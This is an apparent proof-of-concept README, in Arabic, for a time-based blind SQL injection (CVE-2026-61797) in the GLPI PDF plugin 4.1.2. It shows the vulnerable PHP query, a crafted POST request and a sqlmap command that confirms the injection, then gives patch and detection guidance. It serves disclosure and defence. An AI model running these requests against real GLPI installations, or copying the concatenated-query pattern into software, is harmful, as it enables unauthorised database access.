
إثبات مفهوم لـ CVE-2026-61797، وهو حقن SQL أعمى قائم على الوقت في إضافة GLPI PDF، مع التحقق عبر sqlmap وإرشادات الكشف.
إثبات مفهوم لـ CVE-2026-61797، وهي ثغرة حقن SQL أعمى قائمة على الوقت تؤثر على إضافة GLPI PDF.
يمكن الوصول إلى الثغرة من خلال:
/marketplace/pdf/front/preference.form.php
في التنفيذ المصاب، يتم إدراج القيم التي يتحكم بها المستخدم من مصفوفة item في طلبات POST داخل استعلامات SQL دون معاملات مناسبة.
يمكن لمستخدم GLPI مصادق عليه بصلاحيات منخفضة استغلال هذا السلوك لحقن تعبيرات SQL واستنتاج معلومات قاعدة البيانات من خلال توقيت الاستجابة.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-61797 |
| المنتج | GLPI PDF Plugin |
| الإصدار المُختبر | 4.1.2 |
| الإصدار المُصلَّح | 4.1.3 |
| الثغرة | حقن SQL أعمى قائم على الوقت |
| المصادقة | مطلوبة على الفرع المُختبر 4.1.2 |
| ناقل الهجوم | الشبكة |
| تفاعل المستخدم | لا شيء |
| قاعدة البيانات | MySQL |
| CVSS | 6.1 / 10 |
| الاستشارة | GHSA-wwr3-v347-c64m |
يضع الكود المصاب في النهاية المفتاح item الذي يتحكم به المهاجم داخل حقل tabref في عبارة INSERT الخاصة بـ SQL.
من الناحية المفاهيمية، بدت العملية المصابة كما يلي:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
نظرًا لأن $key يصبح جزءًا من عبارة SQL، يمكن لمفتاح مصفوفة مُصمَّم تعديل الاستعلام الناتج.
يتطلب إثبات المفهوم:
sqlmap.تم التحقق من إثبات المفهوم مقابل PDF Plugin 4.1.2.
التقط طلبًا شرعيًا إلى:
POST /marketplace/pdf/front/preference.form.php
واحفظه باسم:
glpi.sqli
جسم طلب بسيط مناسب لتحديد نقطة الحقن هو:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
تخبر * أداة sqlmap بالجزء الذي يجب اختباره من الطلب.
مثال على بنية الطلب:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
شغّل:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
يجب تحديد التثبيت المصاب على أنه يقبل حقن SQL أعمى قائم على الوقت عند نقطة الحقن المخصصة في POST.
يشبه الكشف النموذجي:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
تعتمد التقنية على تأخيرات MySQL الشرطية مثل SLEEP() لتحديد ما إذا كان الشرط المحقون يُقيَّم إلى صحيح.
يحد هذا المستودع عمدًا من إثبات المفهوم الموثق إلى التحقق من الثغرة ولا يوفر أوامر لاستخراج قاعدة البيانات أو استخراج بيانات الاعتماد.
يصل الطلب المصاب إلى:
plugins/pdf/front/preference.form.php
يعالج التطبيق قيمًا مشابهة لـ:
item[<USER_CONTROLLED_VALUE>]=1
يحوّل PHP هذا إلى مصفوفة ترابطية، حيث يتحكم المهاجم في مفتاح المصفوفة.
يُستخدم هذا المفتاح لاحقًا كـ $key بواسطة الإضافة، وفي الإصدار المصاب، يتم دمجه مباشرة في عبارة SQL.
تدفق البيانات الناتج هو فعليًا:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
لذلك يمكن لحمولة قائمة على الوقت التأثير على تعبير SQL وجعل قاعدة البيانات تؤخر الاستجابة عمدًا عندما يكون الشرط المُقدَّم صحيحًا.
نظرًا لأن التطبيق لا يعيد نتائج استعلام SQL مباشرة، يتم الاستغلال كـ حقن SQL أعمى.
تم إصلاح المشكلة في PDF Plugin 4.1.3.
تم استبدال عمليات SQL الخام المصابة بآليات قاعدة بيانات/ORM أكثر أمانًا ومنطق تفويض إضافي.
يجب على المستخدمين الترقية إلى:
PDF Plugin >= 4.1.3
أو إصدار أحدث مدعوم.
قد يرغب المدافعون في مراجعة طلبات HTTP التي تستهدف:
/marketplace/pdf/front/preference.form.php
بأسماء معاملات item[...] غير المعتادة.
تشمل الأنماط المشبوهة بشكل خاص صيغة SQL أو دوال تأخير الوقت التي تظهر داخل مفتاح مصفوفة، على سبيل المثال إشارات إلى:
SLEEP(
SELECT
AND
OR
||
'
"
قد تشير أيضًا طلبات POST المتكررة إلى نقطة النهاية متبوعة بتأخيرات استجابة متسقة لعدة ثوانٍ إلى محاولات استغلال حقن SQL أعمى قائم على الوقت.
يُقدَّم إثبات المفهوم هذا حصريًا من أجل:
لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها.
لا يتحمل المؤلفون أي مسؤولية عن الاستخدام غير المصرح به أو غير القانوني لهذه المواد.
بحث الثغرة والتحليل التقني الأصلي:
ITRESIT Labs — Javier Medina
البحث الأصلي:
CVE:
CVE-2026-61797
استشارة أمان GitHub:
GHSA-wwr3-v347-c64m
هذا المستودع مخصص لأغراض تعليمية واختبار أمني مصرح به فقط.
احصل دائمًا على إذن صريح قبل اختبار الأنظمة التي لا تملكها.